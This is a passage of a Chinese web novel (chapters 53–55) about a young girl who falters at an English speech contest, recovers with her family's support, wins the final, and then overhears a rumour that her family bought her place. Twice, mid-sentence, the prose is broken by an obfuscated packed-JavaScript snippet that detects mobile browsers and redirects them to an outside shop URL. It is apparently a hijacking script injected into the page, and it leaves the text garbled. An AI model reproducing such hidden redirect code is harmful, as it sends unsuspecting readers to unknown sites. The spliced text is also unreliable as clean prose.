蒋婧趴在爸爸肩膀上回:“不干什么,我就是喜欢它们。” “而且我的叮叮当当、咕咕咚咚都还没有见过真正的小松果,我应该带一些给它们的。” “叮叮当当、咕咕咚咚又是什么?” 蒋怀谦眼里的笑更加的明显起来,给妈妈解惑道:“她的四只松鼠玩偶。” 程与英笑:“行啊,你这一趟儿是一点没白去。” * 回到三伯家,三个孩子先被遣去洗了个澡。 等他们洗澡出来,大人们已经在院子里架好了烧烤的东西,摩拳擦掌地干起活来。孩子们则围坐在桌子边吃着美食。 蒋熠捧着自己受伤的手肘,数落起蒋婧今天的所作所为来:“你看我,我是一个病号,我戴着石膏,我无法行动,只能可怜地在原地睡觉。本来妈妈让我不要去参加春游的,但是我都很担心你,身残志坚也要去,而你呢,你今天非但没有照顾过我,甚至都不关心我!一个人到处跑跑跑跑跑跑跑,也不知道在跑什么。还有我的橘子,我剥好了是要你一个人吃的,你转头就分给其他人了!那我不会伤心的嘛?我又不是在给其他人剥橘子!” 蒋婧生气地往他的嘴巴里塞了一块烤面包:“你让你的嘴巴歇一歇吧好吗?” “齁死我了!蒋小婧你到底蘸了多少果酱!甜得我要吐出来了。” “那你忍着别吐出来。” 蒋熠摆出一副逆来顺受的表情,当着她的面把那口甜面包咽了下去。 “我再说一遍,我是病号,你应该多多照顾我。” 蒋婧嫌他烦,早就去和哥哥们分享今天集体游戏获得的奖品。 蒋熠抓狂地一拍桌子,说道:“蒋小婧,你这个狠心的女孩!You! Heartless!” 见他面上真的闪过了受伤的神情,蒋婧呆了一下,这才转过来,把自己赢得的获胜品都推到他面前。 “这些都给你。” “我不稀罕!谁稀罕啊!不就是点笔记本、便签纸、小贴纸,这些东西有什么稀奇的,你非要去参加什么破比赛赢过来,不就是我今天动不了吗,要是我来参加了,我都能给你赢过来……” 他絮絮叨叨地直视前方说着,见那么久了蒋婧还是没声音,回头去看。 她正安静地低着头,把赢过来的贴纸一张张仔仔细细地完整撕下来,把他的石膏贴了个遍。 然后,她蓦地抬起晶莹透亮的眼睛看着他,露出一个蜜意般的笑容,梨涡若隐若现,糯白的两颗小兔牙为笑容增添出几分无害的俏皮感。 “这个好好玩,我想把这个贴满。” 蒋熠看着石膏上面画了个大拇指的“你真棒”、带了朵小红花的“加油干”,和其他密密麻麻的、五颜六色的贴纸,脸上浮现出一种大义凛然的坚定表情。 “你怎么了?” “我在想周一回去怎么给我的小弟们解释我的石膏上贴了这些东西。” “为什么要解释?” “因为有损我‘一班熠哥’的形象。” 蒋婧“哦”一声,想了想,理解地说道:“那我不贴了,我帮你再把它撕下来。” “NO!”他捂住贴好的贴纸,说道:“大哥总是大哥,我做什么,都是大哥,没事,你继续贴吧。” 53.第53章 “研语杯”全国中小学生英语大赛给学校发来了比赛通知,学校开会传达完信息,让各年级英语老师都积极鼓励学生们参与的同时,也设定了代表学校单位去参加的推荐名额。 田欣老师负责了二年级三个班的英语教学任务,几乎是收到通知的一瞬间,就想到了再合适不过的推荐人选。 一班的那俩双胞胎,还有他们的妹妹,这三个孩子的英语口语能力出类拔萃,基本上已经达到了母语的流利程度。上次开家长会,她和学生家长了解了一下,这才知道是从小上的国际幼儿园的缘故。 田欣老师在家长群里发了比赛通知,也在班上给孩子们介绍了比赛,鼓励有意向的同学来找自己报名。 至于推荐人选,她直接点了三个孩子到办公室里,说道:“这个英语比赛是全国范围的,权威性和含金量都很高,对你们以后的英语能力证明是很有帮助的,你们想不想来尝试一下?” 蒋澈点头,蒋熠摇头;蒋婧原本摇头,看了哥哥又跟着点头;蒋熠看了妹妹跟着改为点头。 田欣看笑了:“这到底是想还是不想?” 三个孩子你瞅我我瞅你的,最后一起点了头:“想!” 田欣满意地看着他们,说道:“成,明天下午会有一个校内选拔,没有很正式,就是我们几个英语老师在会议室里看看大家的能力,最后选出几个人选。如果你们入选了,老师再带你们填写报名表。你们回家,可以先跟爸爸妈妈说一声,在家练习练习。” 翌日的校内选拔方式,是孩子们拿着稿子读一读,让老师听听发音。三个人标准的英语能力,直把一排老师吊成了翘嘴,全部给了通过。 其他老师都很羡慕地望向田欣:“田老师,您教的好啊,这样厉害的学生你班上居然有三个,太长脸了!” 田欣内心难掩骄傲之意,但脸上仍然保持着得体的平静,把资料合好,朝那位老师说道:“汤老师,都是孩子们天资聪颖,我只是稍加点拨而已。” * 省市区的比赛定在了一个月后,田欣尽心尽力地给三个孩子准备了适合他们的演讲稿,每周会抽时间辅导他们背稿。 “蒋婧,你的稿子已经背的很熟了,特别棒,但是呢,就是如果声音能够再大一点就好啦~” 田欣老师的声音轻柔,坐在蒋婧面前,像怕惊扰了周遭的空气一般,极尽熨帖地朝她说道。 全然和刚刚辅导蒋熠的模样天差地别。 蒋婧第一次在讲台之外,离这么近看老师。她的小脑袋微微歪着,浓密的睫毛像两把小扇子,偶尔慢悠悠地眨一下,目光却始终牢牢锁在老师漂亮的眼睛和妆容。 田欣一下子被她萌到,眯眼一笑,愈发温柔似水:“你有在听老师说话吗?” “有~” “那我们再读一遍,大声一点,速度慢一点好不好?老师相信你一定会拿一个很好的成绩。” “好~” 蒋婧模样乖巧地继续读,心里想道:如果她能拿一个很好的成绩,田欣老师就会更喜欢她吗?因为她都很喜欢田欣老师,她还想让田欣老师这样教她读英语。 * 省区赛定在了北城外语大学的校内礼堂,比赛场地布置得亮堂活力,观众席呈扇形层层环绕,高挑的穹顶下,色彩变幻的灯光打在了舞台上。 蒋婧以为的比赛还是像上次那样,在一个小小的会议室里,坐着把稿子和几个老师背一背就好了,没承想到是这样的大场面。 她目光打量着整个空间,有些灵魂失重的感觉,魂不知道丢哪了,被爸爸牵着手沿着会场一边的道路,走到了选手候场区。 田欣老师过来,看她今天扎了别上蝴蝶结的丸子头,穿上一条甜美又端雅的学院风翻领连衣裙,夸赞道:“你今天真漂亮,待会上场要保持微笑,这样就会更漂亮哦~” 蒋婧僵硬地点点头,然后有些无助地看向爸爸。 “怎么了宝宝?”蒋源蹲下来理了理她的齐刘海,问道。 蒋婧:“不知道,我的心像一个小马。” “紧张了是不是?”蒋源握住她的手,给她支持的力量:“没关系的,我们一家人都来了,就坐在第二排那里,你看,爷爷奶奶看过来了,正在和你挥挥手呢。” “你就想,你只是上台给爸爸妈妈、爷爷奶奶、伯伯婶婶们演讲的,其他人都不存在的。” “紧张了,你就吸口气,慢慢吐气,告诉自己,你能做到的。只要站上了舞台,你就是最棒的小朋友了。” 蒋婧焦虑地点点头,看见老师在让她过去,和爸爸拜拜:“我不紧张的,爸爸,我走了。” 蒋源还是有些担心,无声地鼓励地望着她,直到她在老师的引导下抽签决定了上场序号,贴上选手编号,又在候选区的座位坐下,才回到了观看席。 坐了没一会儿,身着黑色正式小西装的蒋熠和蒋澈也赶到了候场区,两个人模子一般刻出来,愈发分不清谁是谁,田欣老师频繁地认错了好几次人。 蒋熠在蒋婧旁边坐下,仿照了哥哥的语气说道:“阿婧,你好吗?” 蒋婧斜睨了他一眼,幽幽地说道:“蒋熠,别装了,我知道是你。” “唉!就你一个人骗不到!其他人都分不清,我早上这样和我妈说话,我妈都以为我是我哥。” 蒋熠坐下,面带笑意地看她,状态兴奋地说道:“蒋小婧,你今天穿了新的裙子!好好看!” “你觉得我怎么样?这个发型可是我爸用了喷头发的那个什么东西,给我弄出来的。” “挺好看的。” “是吧?你觉得好看我就放心了。不知道这个比赛要比多久,等我们比完,我爸爸妈妈说要带我们去吃大餐的,你有什么想吃的吗?” 蒋婧摇摇头,心思无法集中到他的搭话上。 “蒋熠,你能先别和我说话吗?” 蒋熠全身像被按了暂停键一下,把大刺刺的动作收回来,小心翼翼地去看她,声音软化下来,试探地问道“你怎么了?” 蒋婧没说话,低着头,两只手的手指紧紧绞着,抵抗着心里不停打鼓的感觉。 蒋熠第一次见她这样,不知道是什么回事儿,担心地摸了摸后脑勺,又问了一句。 “到底怎么了嘛?” “你别和我说话了!”她加重了语气。 “好好好,我不说了,我不说了,你别生气。”蒋熠在嘴巴前做了个拉拉链的动作,安静下来,继续忧心地看着她。 蒋澈别好了序号过来,见弟弟抿着嘴巴,用手指暗暗地指着身边的蒋婧,一副有话说不出口的焦急劲儿。 “怎么了?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16639688|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >蒋熠压低了声音:“我也不知道。” 蒋澈走过来,问道:“阿婧,你好吗?” 蒋婧抬起头,柔声回道:“好,阿澈哥哥,你好吗?” “我也好。” 话语就这样落了地,没有了后续。 蒋澈又看了妹妹,又看了看弟弟,也有些发懵,无所成效地坐了回去。 两个人在一边看着低着头不愿意说话的蒋婧,一时都有些束手无措。 蒋澈抽到了第一,蒋熠抽到了第三,蒋婧是这组倒数第二个上场。 比赛很快开始,老师招手让他们赶快过去,蒋熠和蒋澈站了起来。 蒋澈:“阿婧,我们先去了,你自己可以吗?” 蒋熠:“蒋小婧,你真的没事吗?” 蒋婧点点头,朝他们挥挥手:“我没事,你们去吧。” 他们只能一边担心,一边先离开。 蒋婧不停地深呼吸,随着台上一个又一个表现优异的选手完成演讲,等得越发焦灼紧张,手都有些发抖了起来。 她观察着台上的选手在上面比赛时,评审席和观众席上的人的表情——有的赞赏,有的凝重,有的轻蔑,有的淡漠不关心。 她想象着这些目光落在自己身上,感觉快要不能呼吸了。 跟着老师的呼唤过去,蒋婧懵懵地走到了台口,接过了话筒。 老师在说什么,她好像也没有听清,只是听到了报幕员在说什么,台下响起掌声,然后田欣老师推了推她的肩膀,做了个加油的手势。 她拿着话筒,腿发软地走上台,站到了舞台中央。 她直视着前方看不清的黑场,对准话筒,全凭嘴巴的肌肉记忆背诵起稿子来。 好像很顺利,她的心跳缓了一缓,前方看不清的黑场逐渐有了轮廓。 她一点点看清了观众们的脸,发现坐了好多人,心慌地想要去找爸爸妈妈们坐在那里,却没有找到。 这一心慌的走神,她忽然停住了演讲。 她脑子掉线了似的,一点也想不起来后面的稿子是什么了。 一秒、两秒、三秒……她无措地站在那里,听着台下开始响起窸窸窣窣的躁动声,脑袋一片空白。 有一种想要从台上逃跑的欲望强烈地涌来。 然而计时员这是还在雪上加霜地提醒时间,蒋婧握紧了话筒,在脑子里从头回忆,终于把刚刚的卡顿之处接连上来。 她看到第一排的一个评委拿着笔在纸上写着什么,然后遗憾地摇摇头。 蒋婧心里像堵了一堆湿重的棉花团一样难受,表情呆滞地下了台。 田欣老师拥抱住她说道:“完成了!蒋婧!你太棒了! “你自己能找到后台的集合地吗,老师需要在这里继续看其他同学比赛。” 蒋婧点点头,失魂落魄地走了两步,隐约听到了另一个英语老师说道:“这个没发挥好,不过也没事,前面那两双胞胎估计是一等奖预定了。” 她无声地掉落的几滴眼泪,恍惚无助地走到了后台,躲开了来往的人群,找到了一个没有人的楼梯间,坐上去埋着头大哭了起来。 她也不知道自己为什么会这么难过,心脏酸哒哒的,想躲起来,不想被任何人发现,也不想和任何人说话。好像只有一个人,才能把心里的悲伤哭出来。 54.第54章 闺女一下台,蒋源就坐不住了,一路说着抱歉从观众席挪出来,准备上后台去看看。 蒋怀谦和蒋向恒默契地跟上。 布局复杂的后台,蒋澈和蒋熠已经找了一圈,看到家人来了,心急如焚地跑上去。 蒋澈问道:“四叔,阿婧有没有去找你们?我们这里全部找过了,都没看到她。” 蒋熠也烦躁不安地说道:“她上台之前就怪怪的,不想和我们说话,下台了也不来找我们,她怎么了?我想破脑袋都没想出来,我今天做了什么让她生气了。” 蒋源拍拍他的肩膀:“没事,跟你没关系,妹妹可能就是要上台了有些紧张。” “上台紧张?”蒋熠疑惑地呆住。 这种描述有些触及到他的经验盲区,为什么上台会紧张,不是直接走上去咔咔一顿说就好了吗。 蒋怀谦心里太担心妹妹,又忧又急地提议道:“爸爸,我们直接去监控室吧。” 蒋源果断地点头,又拜托他们三个人继续找找,和儿子奔去监控室。 他们很快通过监控看到了像个被霜打的茄子一样抹着眼泪的蒋婧走到后台的画面,父子俩一阵揪心,火急火燎地立马从监控室赶往那个楼梯间。 楼梯间里空气阴寒,蒋婧小小一团抱着身子坐在楼梯上埋着脸哭。 蒋源心都要碎了,眼眶一红,脱了外套走下来给闺女围上。 察觉到温暖的包裹,蒋婧头脑昏乱地看过来,哽咽着,眼睛红肿,泪水把侧鬓的刘海都哭湿了。 “爸爸。” “嗯,是爸爸来了。你看你,眼睛都哭成小核桃了。” 蒋怀谦握住她想去抹眼泪的手背,用柔纸巾给她把脸上的泪痕擦干。 她还在控制不住地抽噎着,泪水不绝。 “这里面太冷了,爸爸抱你先出去好不好?” 她点点头,乖巧地环住爸爸的脖子。蒋源抱着闺女走出去,安慰地抚摸着她的背。 终于见到人的另外三个男孩一下子冲了过来。 “婧丫!”蒋熠欢快地叫了一声,感觉她情绪不好,又低低地问道:“你好吗?” 蒋源比了个嘘声的动作,安抚地摸摸蒋熠的脑袋。 * 走出会堂中心到上车处,蒋礼雄从四儿子处抱过孙女,乐呵地说道:“婧丫头,和爷爷一起坐车好不好?” 蒋婧点点头,和爷爷奶奶上了一辆车。 四座御尊版的雷克萨斯内,宋玉春用毛巾包了冰袋,小心细致地给她敷敷哭的肿胀的眼睛,心疼地说道:“婧丫,怎么把自己哭成这样,刚刚上去是不是害怕了?都怪爸爸,你还这么小呢,就让你去参加比赛,奶奶心疼死了,下次咱不去了啊,奶奶不想让这些比赛弄的我的心肝宝贝这么伤心。” “就是,一个小小比赛,不用太在意。你要是想要奖,爷爷让他们也给你发一个,这样你会心里好一些吗?” 蒋婧摇摇头,声音虚虚的:“不会,又不是我自己得来的。” “那怎么了,我孙女想要什么,还要靠自己得吗?爷爷告诉你,你呀,不用为这些小事情难过,这些在爷爷眼里都不值得一提,一个小比赛的奖项而已,能代表什么呢?是不是?我孙女愿意站到台上去发表演说,都是给来的人脸了,能有幸看到我孙女的演讲,是他们的荣幸!” 蒋婧脑袋放空地望着车窗外流动的街景,视线却没有焦点,好像在看什么,又好像没有在看什么,不知道听进去了多少。 抵达家族聚餐的餐厅,蒋婧被大伯抱着去看现场制作甜品的表演。 服务员递上菜单,询问点餐意向,她手指了一个,好奇地看着服务员淋上烈酒,然后点燃,让蛋糕上散发出绚丽的蓝色火焰。 蒋铮扬着唇看小侄女眼睛圆圆的模样,没让服务员送到桌边,直接抬起蛋糕盘子,递给了她。 “谢谢大伯~”蒋婧捧着盘子,安静地吃起冰淇淋蛋糕。 蒋铮抱着她慢慢地走回包厢,在路上仿佛不经意地说起:“小婧,这次比赛感觉怎么样?” 她握着叉子的手停了一下,又继续去戳蛋糕,说道:“不怎么样。” “大伯可不这样觉得,大伯觉得你做的特别好。” “可是,我都没有说出来。” “那怎么了,底下那些人上台来讲,可不一定能比你做的更好。只是中间卡顿了一下,你不是又接上了吗?这样的临场反应,可不是很厉害吗?” 她没有说话,闷闷地继续去戳小蛋糕,闷闷地在心里想到:可是,阿熠和阿澈哥哥就都说出来了。 吃饭的时候,所有人都在想方设法地安慰她。 她垮下肩膀,只是一个劲儿地用叉子戳小蛋糕,沉默无言。 大人们的声音像嗡嗡的蜜蜂,在耳边绕来绕去。 他们说没关系,可是明明就有关系。 他们说她已经做的很好了,可是她明明就做的不好。 他们说要给她买这个买那个,带她去玩这个玩那个,这样她就会高兴,可是她并没有觉得很高兴。 她不需要安慰了,她只是想一个人待在情绪里。但是他们还在一直问“怎么了”“为什么不说话”。 可是她也不知道自己怎么了,心里木木的,觉得有点累了。 大人们都左右相互看着,以目光交流着对如何缓解她情绪的担忧和无措。 蒋熠凑过来,有些不理解的问道:“蒋小婧,你要怎么样才可以开心起来?其实我觉得在台上没说出来也没什么丢脸的。” 蒋婧现在最不想从其口中听到安慰之言的人,就是蒋熠和蒋澈,偏他就爱来撞枪口。 蒋婧扭开头,说道:“又不是你丢脸,你当然觉得没什么,你才不懂。你就是在笑我。” 蒋熠急了,情绪激动地说道:“我哪有!我听到你在台上声音都快哭了,我也要哭了!不是那个哭!就是,我很难过,你难过的话,我也会跟着难过的。我怎么会笑你!” 他闹腾着非要和蒋婧掰扯清楚,两个人又吵了几句,最后蒋婧直接把身子转开背对他,拒绝再说话。 “你怎么这样!别人安慰你,你还怪别人!我生气了,你要是不哄我,我们就绝交!” 等了一会儿,蒋婧还是没有作声,他又说道:“你不说话,我就当你要和我绝交了!以后我都不会再理你了!” 她甚至跑开了,把座位搬到了蒋怀谦那里。 蒋熠随即撒泼打滚地开始发疯:“绝交!绝交!我要和你绝交!” 蒋彬眉头一跳,威胁道:“蒋熠,不想挨揍就给我闭上嘴巴。” 常蕙揉了揉太阳穴,也厉声说道:“蒋熠!别去烦妹妹了,安静地吃你的饭!” 蒋熠掉着眼泪,把饭混着眼泪一起吃进去,眼睛凶巴巴地看向跑到对桌的蒋婧。 * 吃完饭,各个长辈又你一言我一语地安慰了蒋婧许久,不放心地看着程与英带着她上车的背影。 蒋铮对弟弟说道:“有什么情况在家群里及时同步。” 蒋源颔首。 蒋礼雄:“明天醒了,就赶快带着孩子们过来。” 蒋源颔首:“知道了爸,您也别老打电话催,孩子们周天都会睡会儿懒觉。” 蒋彬:“明天要是还难过,我们再一起想想办法。” 蒋源再颔首:“行,那我们先走了。” 和大家挥挥手再见,蒋婧把脑袋靠回妈妈肩膀上,面容恬静地望着车窗外流逝的夜景。 程与英把她搂在怀里,一下下拍着她的背,在她耳边用只有两个人能听到的声音,亲昵地喊她:“你好你好,请问现在蒋小婧是一个忧郁的小兔崽吗?” 蒋婧用水汪汪的眼睛去看她,声音绵软地学:“你好你好,请问现在程小英是一个忧郁的大兔崽吗?” 程与英轻轻地笑:“不是哦,我不忧郁,也不是大兔崽,我是小兔崽的妈妈。” 蒋婧:“不是哦,我不忧郁,也不是大兔崽,我是小兔崽的妈妈的小兔崽。” 妈妈点点她的小鼻头:“现在总算笑了?” “要是我猜中了你为什么忧郁,小兔崽会给我一个亲亲当做奖励吗?” 蒋婧格外乖觉地凝视着她,眼里隐隐有对这一说法的兴味。 “因为你第一次一个人上台,被吓到了是不是?” 她做出思考的神态,在要点头之际,又摇摇头。 “那是因为你害怕没演讲好,老师批评你吗?或者是别的人说你不好?” 怀里的人果断地否定一摇头。 “那是因为你本来想拿一个奖,但是没有拿到吗?” 蒋婧又晃了下脑袋。 “嗯...这可难倒妈妈了,难道是因为你觉得自己没有做好,所以难过了吗?” 她没有动静了,默然了好一会儿。 程与英低头去看,她眼里泪花泛滥,颤抖地吸了一口气,委屈得声音都听起来酸酸涩涩的。 “我……我觉得我……一点都不、厉害…别的人都可以…阿熠和阿澈哥哥都可以…下面有很多很多人,把稿子都背出来....” “但是我不可以,我是一个小笨孩…我都记不住。” 程与英听着听着,眼里也闪了泪光,努力挤出一个微笑说道:“没关系的,这次没做好,我们下次再来就是了。” “可是、可是就是因为没有下次了...我才很难过的...” 她好像终于明白自己为什么难过似的,从妈妈的怀里坐起来,泪眼朦胧地望着妈妈,悲伤显得格外的巨大和彻底。 程与英破涕而笑,原来如此。 她的小宝贝已经在与世界的第一次碰撞中,开始找寻如何去建构自我认同和肯定的方式了。 她揽住蒋婧说道:“怎么没有啦?还有决赛的呀?你可以再讲一次的呀!” “真的吗?我还可以再讲一次吗?” “是的呀,不信你问爸爸,对不对老公?你说,我们婧儿是不是进决赛了?” 蒋源坐在副驾,全程安静地听完母女俩的交谈,此刻也有些动容,连忙说道:“对啊,婧儿虽然中间断了一下,但是讲的很好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16645337|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊,瑕不掩瑜,评委们就觉得一定要给你一个进决赛展示自己的机会。” 蒋婧脑袋里回忆着下午看到的其他选手的演讲表现,说道:“不是的,我讲的一点都不好。其他人没有断,而且还会比动作,他们还会笑,还能让观众们笑,就算不让观众笑,他们也看起来很厉害。” 蒋源理解了女儿的想法,扭过头来看她,眼底还未完全褪去的欣慰光芒,终于抓到了症结的要点,说道:“没做好我们就找问题,把它们都一一解决,下一次是不是就能做好了?” 蒋婧默默赞同地点了下脑袋。 “爸爸觉得,婧儿遇到挫折还想要再来一次的勇气,是最重要的,这样一来,你还有什么是不会做成功的呢?” “真的吗?” “当然是真的。” * 得知了还能有再来一次的机会,蒋婧的心情终于再次振奋了起来。 到了晚上那时候,她正和妈妈一起享受愉快的睡前故事时光,儿童手表忽然响了起来。 “是阿澈哥哥给我打电话了妈妈。” “是吗?那你接吧。” 她点开,声音清甜地打招呼:“晚上好!阿澈哥哥!” 电话那边像是断线了似的,隔了很久才传出来蒋熠的声音:“我不是我哥,我是你的阿熠哥哥。” “你怎么啦?阿熠?” 他的声音一下子有些被惊喜到的激动,说道:“我还以为你会和我说话了!” “我为什么不会和你说话。”她翻着绘本,漫不经心地回复道。 “....没什么。我打电话过来是要说,我们还是不要绝交了吧,婧丫,好不好?” “因为如果我们绝交了,我今天晚上就肯定不能睡觉了。” “你为什么不能睡觉了?” “因为我不想和你绝交。” 话音一落,那边又传来语气有些扭捏的提议:“我们和好吧,婧丫。” 蒋婧像是刚想起来有这一回事,说道:“那好吧,我们和好吧,不过本来我就知道我们不会绝交的。” * 第二天从爷爷家吃饭回来,蒋源就邀请了上门的少儿演讲老师来给蒋婧指导。 一家人一起听老师分析蒋婧演讲视频的问题,不从内容,但从表达的形式来切入进行提升。 蒋怀谦拍拍怀里坐着的人的头,补充说明道:“还有就是,背稿子战线拉得太长,到了后期总是不乐意再温习,导致原本熟背的稿子反而生疏了。” 程与英这才知道有这一回事儿,点点她,说道:“这就叫骄兵必败,就算你背得了,也要一直练习才能维持住好的状态的嘛。” 蒋婧虚心地接受:“我知道了嘛,我这一次会每天都背一遍稿子,不,背三遍!我肯定不会在台上说不出来的!” * 决赛的那一天,蒋婧还是很紧张,但对比第一次,已经多了一丝从容。 一切流程照旧,不过这一次送她上场,不是老师,而是爸爸妈妈还有哥哥们。 轮到她上场之前,他们使出了浑身解数来帮助她放轻松。 蒋源一直在给闺女做肩颈按摩,程与英则是紧紧握住她的手,和哥哥们一起,话语很密地不停给她灌输“你可以”“你能行”“已经练习了很多遍,你一定可以做到。” 程与英对女儿说道:“婧儿,爸爸妈妈还有哥哥们永远不会因为你做的不好就不爱你,因为不管你做的好不好,我们都觉得你是最棒的。重要的是,你自己认可你自己。如果要把这次演讲比赛完成好,你才能觉得自己其实是很棒的,那么这一次,扫清心里面的阴霾,要靠宝宝自己再一次挑战自我。” “要自己再一个人上一次台,你还会害怕吗?” 蒋婧点点头,心跳因为紧张仍然在加速地跳动着,目光却始终很坚定。 她拿着话筒,对妈妈说道:“妈妈,那天之后,我就决定了的,我就算很害怕,也要成为厉害的人!别人可以做到,我做不到,我就再做一次,是不是就会做到了?” 程与英望着年幼的闺女,眼眶里迅速积聚起光亮,看她的目光分外炙热,仿佛要把这个瞬间清清楚楚地刻进心里。 “是呀,我们如果第一次做不到,就再做第二次,第二次做不到,就再做第三次,总有一天能够做到的。” 她像个出征的勇士一样重重点头,转身走向舞台。聚光灯的照耀将她的背影拉成一道细长的影子。 蒋婧攥话筒的手指紧得发白,僵直的身体和步伐,还有不断偷偷在调整呼吸的起伏的小小胸膛,都看得出她处在一个很紧绷的状态里。 可即便如此,她的头始终没有低下,没有回头,固执地、义无反顾地,一步一步把自己送到了舞台中央那道刺眼的光圈里。 被丈夫环住的程与英捂住嘴,彻底失声哭泣。 她怎么可能不感动到泪涌,怎么可能不感到骄傲。 她最心爱的宝贝,以为要永远呵护着的小兔崽,在很小的年纪,就已经选择成为一个,决意让自己的恐惧陪伴成长的小女孩。 55.第55章 这场比赛,三个人包揽了小学组冠亚季军三个名额。 蒋婧觉得上台领奖其实有些让人紧张,但好在是和两个哥哥们一起手牵手站上去,因此面对那么多的闪光灯和喝彩,倒也就不是什么不能接受的大问题了。 第一次拿到获奖证书和奖杯,除了欢欣雀跃的蒋婧,更加激动喜悦的则是家长们。 爷爷设了大宴庆祝孙女得奖,恨不得敲锣打鼓告诉全世界,自己的孙女获得了一个奖项。 伯伯婶婶们的祝贺礼物更是数不胜数,堆积在房间里,光是拆开,就花了她和妈妈许久的时间。 她和爸爸妈妈一起把自己的小奖杯和获奖证书,郑重地摆在了家里装饰柜最显眼的地方。 整面墙被设计成内嵌的分栏展示空间,每个小隔间内镶嵌着隐形暖光灯带,灯光倾泻在展示的奖杯上,好似博物馆里的展品那样贵重。 爸爸抱起她,和她一起看着这面专门为孩子们制作的荣誉墙。 蒋婧视线落在旁边已经摆放了的很多哥哥们的荣誉证明,又看看自己的小小隔间,说道:“爸爸,我以后要把这里填满的!虽然现在只有一个,但是还会有好多好多奖杯,和哥哥的那样多!” 蒋源亲亲她,说道:“当然啦,爸爸相信你肯定还会得到更多的奖项,我们婧儿想做什么,都能做到,是不是?” “是!” * 周一上学,蒋婧和妈妈说,想谢谢田欣老师帮她写稿子,带她准备比赛,程与英就为她准备了一份给老师的礼物。 碍于当面说话会害羞,蒋婧决定偷偷把礼物放在老师的桌子上。 于是三个萝卜头挤在了办公室门口,打探着老师的动向。 蒋熠假装路过地在办公室窗户边来回走了好多趟,明确老师现在看不到,朝蒋婧做了个手势。 田欣老师正背对着后门,在办公室最前面数卷子。 在不惊扰前面坐着的其他老师的情况下,蒋婧抱着礼物,静悄悄地溜进了办公室,把礼物和小卡片放到了田欣老师的桌子上。 恰当这时有一个老师端着水杯起身去接水,路过田欣老师的时候,忽然说道:“你们班那个叫蒋婧的学生,家里有点条件吧?” “什么意思?”田欣始料未及被搭话,抬头看了一眼,又低下头去弄手上的卷子。 “我有个老同学,是研语杯比赛组委会里的,她和我说你那学生本来没进决赛的,是他家里人给比赛赞助要来的名额,我听说,赞助的数额是这个数!” 那个老师瞠目结舌地比了五,脸上尽是不可名状的震惊与八卦。 “你说随随便便赞助个比赛就能出这么大的价格,这学生以后人生还会有什么烦恼,想要拿奖,家里就买一个,护得顺风顺水的,真是人比人气死人!” 田欣猛地把手上厚重的卷子向下一摞,像是无意地发出刺耳的磕桌子的声音。 她脸上笑意盈盈的,和气说道:“这学生家里什么情况,只要不影响学习,我倒是一点不关注。况且,我那学生能力就摆在那。她决赛发挥得那么好,现场呼声那么高,我相信观众的眼睛都是雪亮的,她拿这个奖,实至名归。” 最后几个字她说的斩钉截铁,倒把那老师说了瘆得慌,连忙谄笑道:“田老师,我就开个玩笑,你还当真了不是?” “这玩笑话可就和我说说得了,别在外面乱说,要是小朋友听到了,心里会怎么想。” 蒋婧默默地听完,又像个幽灵一样,悄无声息地出了办公室。 蒋澈和蒋熠在门口等着,见她出来脸色却不好,疑惑地走上去。 蒋熠:“怎么了?你被老师发现了?” 蒋婧摇摇头。 蒋澈:“那是怎么了?你不开心吗,阿婧?” 蒋婧也摇摇头:“没有不开心。” 见他们还是担心地望着自己,蒋婧倏忽转换了话题:“我们等会放学的时候,还要一起去抽盲盒吗?” 蒋澈:“你想的话,我们就去。” 蒋熠:“好啊,这次我帮你选,绝对不会再踩雷!” * 他们说着话,回到班上,上今天最后一节语文课。 经过一年级的看图写话训练,班主任今天打算尝试让孩子们学习新的应用文写作。 她花了很短的时间带学生们阅读课本范围、学习日记格式,便把课堂时间留出来,让他们当堂写作。 班主任并没有太管控纪律,允许他们相互讨论,使得课堂氛围很是轻松。 “写好的同学,拿上来给老师看,每个人都得写完一篇才能放学回家,在下面浑水摸鱼的,你几点写完,老师几点让你走。” 班主任话里没挑明是谁,眼睛却是直直地盯着蒋熠。 蒋熠脸不红心不跳地朝老师点点头,继续和周围的人讲小话。 蒋婧在乱哄哄的说话声中,坐姿端正地握着铅笔,认认真真地写着日记。因为坐在窗边,逆光的光晕笼罩着她,把她的轮廓勾勒出毛茸茸的样子。 蒋熠撑着头看,目光动也不动。 发觉后座要去戳蒋婧的背,他直接拎了人胳膊放回去,说道:“我妹妹在好好写作文,你不准打扰她。” “我只是想问问她‘拔’字有没有一撇。” 蒋熠在手上写了一遍,告诉他:“没有,都拔掉了哪里来的一撇。” “哦,谢谢你,熠哥!” 写到最后一个小句点,蒋婧大笔一挥,长舒一口气,转头见他看着自己,问到:“阿熠,你不写吗?” “写啊。” 蒋婧奇怪地看了一眼他空白的作文本,说道:“好吧,那你写吧,我要去排队给老师看了。” “什么?你不等我一起吗?” 蒋婧捧着本子起身跟上了前面的蒋澈:“我等不了你了,因为阿澈哥哥在等我呢。” 蒋熠抓着铅笔立马开始奋笔疾书,喊道:“你帮我排个位置,我马上就过来!” 孩子们在讲台前排着队,一个一个地拿着本子给老师看作文。 班主任时不时推一推鼻梁上的黑框眼镜,眉头越皱越深。 千篇一律的按照范文来写,都写的“和妈妈在阳台上种了一盆太阳花”,或是改个植物名,或是改个人物名。 她逐个地帮助孩子去想近来有什么值得记入生活的事情,说得嘴皮子都干了,实在心累,决定先让孩子们回到座位上,她再集体指导几句。 